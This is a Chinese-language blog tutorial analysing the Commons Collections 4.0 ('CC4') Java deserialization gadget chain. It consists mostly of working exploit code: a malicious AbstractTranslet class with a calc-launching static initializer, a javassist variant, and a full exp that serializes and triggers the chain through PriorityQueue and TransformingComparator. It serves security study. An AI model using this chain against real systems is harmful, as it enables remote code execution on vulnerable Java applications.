Java反序列化 CC4链分析

前言

commons collections4.0之后,InvokerTransformer不再实现Serializable,这就要求我们以其他视角来构造利用链。CC4的后半部分跟CC3一样,也是采用动态加载字节码的方式来执行命令,然后前半部分跟CC2一样,用的还是PriorityQueue等。其实就是两条链子的选择性拼接。

用ysoserial的话来说,CC4就是CC2的变体,使用InstantiateTransformer来替代InvokerTransformer

环境配置

CC4的环境是commons collections4,因此我们修改pom.xml如下

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

然后在maven同步项目

当然也可以用javassist来动态生成类,修改pom.xml如下

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>
</dependencies>

这次我们尝试手工构建恶意类,javassist放在后面简单提一下

过程分析

后半部分(CC3)

这一部分跟CC3一样,可以参考文章Java反序列化 CC3链分析,我简单描述一下过程,方便回忆

我们先手工构建恶意类,在CC3我们提到过,构造的恶意类要继承AbstractTranslet,否则会抛出异常

我们跟进AbstractTranslet,可以看到需要实现两个transform抽象方法

可以手动添加,也可以用IDEA自动添加,如果自动添加的话如下

然后我们的命令要放在static里面,因为存在静态初始化方法的类,在该类首次被加载并初始化时执行一次,如反射、创建实例、访问静态成员等,该方法都会被自动调用,前面的文章也提到过,就不提这么多了

构造代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

用Java8执行命令,构建class文件

1
javac Evil.java

效果如下

然后根据CC3的链子,我们构造代码验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class"));
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 因为这里不是反序列化,所以_tfactory要利用反射设置值为TransformerFactoryImpl对象
// 后面完整的exp就不需要写这个了
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Class cs = TrAXFilter.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 调用transform方法验证,参数随便传个值
chainedTransformer.transform('1');

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

如果用javassist的话,那代码就如下,具体原因我在之前的CC2和CC3都写过,感兴趣的可以看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String rename = "Evil" + System.nanoTime();
cc.setName(rename);
cc.writeFile();
byte[] bytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Class cs = TrAXFilter.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform('1');

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

前半部分(CC2)

这一部分跟CC2一样,可以参考文章Java反序列化 CC2链分析的利用链1部分,很详细

相关代码如下

1
2
3
4
5
6
7
8
9
10
// chainedTransformer为我们前面创建的ChainedTransformer实例
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);

完整利用

根据前面的内容,我们得到完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class Main {
public static void main(String[] args) throws Exception {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\test\\Evil.class"));
byte[][] targetByteCodes = new byte[][]{bytes};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", targetByteCodes);

Class cs = TrAXFilter.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, transformingComparator);

try{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
}catch (Exception e){
e.printStackTrace();
}

try{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
objectInputStream.readObject();
objectInputStream.close();
}catch (Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

成功弹出计算器

这里我放个CC4的流程图方便理解

总结

其实CC4就是CC2和CC3的排列组合,没有什么新的内容,只要把前面的两条链子理解透彻,CC4就水到渠成了

作者

WayneJoon.H

发布于

2025-11-17

许可协议